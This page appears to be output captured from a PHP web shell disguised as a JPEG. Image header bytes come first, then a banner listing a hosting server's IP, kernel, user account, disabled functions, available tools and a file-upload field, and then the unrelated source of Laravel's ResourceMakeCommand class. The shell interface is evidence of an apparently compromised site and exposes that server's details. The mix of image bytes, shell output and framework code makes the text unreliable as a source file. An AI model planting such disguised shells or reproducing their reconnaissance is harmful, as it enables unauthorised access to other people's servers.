ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 3.12.123.242 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/laravelvue/vendor/laravel/framework/src/Illuminate/Foundation/Console/ |
Upload File : |
<?php namespace Illuminate\Foundation\Console; use Illuminate\Support\Str; use Illuminate\Console\GeneratorCommand; use Symfony\Component\Console\Input\InputOption; class ResourceMakeCommand extends GeneratorCommand { /** * The console command name. * * @var string */ protected $name = 'make:resource'; /** * The console command description. * * @var string */ protected $description = 'Create a new resource'; /** * The type of class being generated. * * @var string */ protected $type = 'Resource'; /** * Execute the console command. * * @return void */ public function handle() { if ($this->collection()) { $this->type = 'Resource collection'; } parent::handle(); } /** * Get the stub file for the generator. * * @return string */ protected function getStub() { return $this->collection() ? __DIR__.'/stubs/resource-collection.stub' : __DIR__.'/stubs/resource.stub'; } /** * Determine if the command is generating a resource collection. * * @return bool */ protected function collection() { return $this->option('collection') || Str::endsWith($this->argument('name'), 'Collection'); } /** * Get the default namespace for the class. * * @param string $rootNamespace * @return string */ protected function getDefaultNamespace($rootNamespace) { return $rootNamespace.'\Http\Resources'; } /** * Get the console command options. * * @return array */ protected function getOptions() { return [ ['collection', 'c', InputOption::VALUE_NONE, 'Create a resource collection'], ]; } }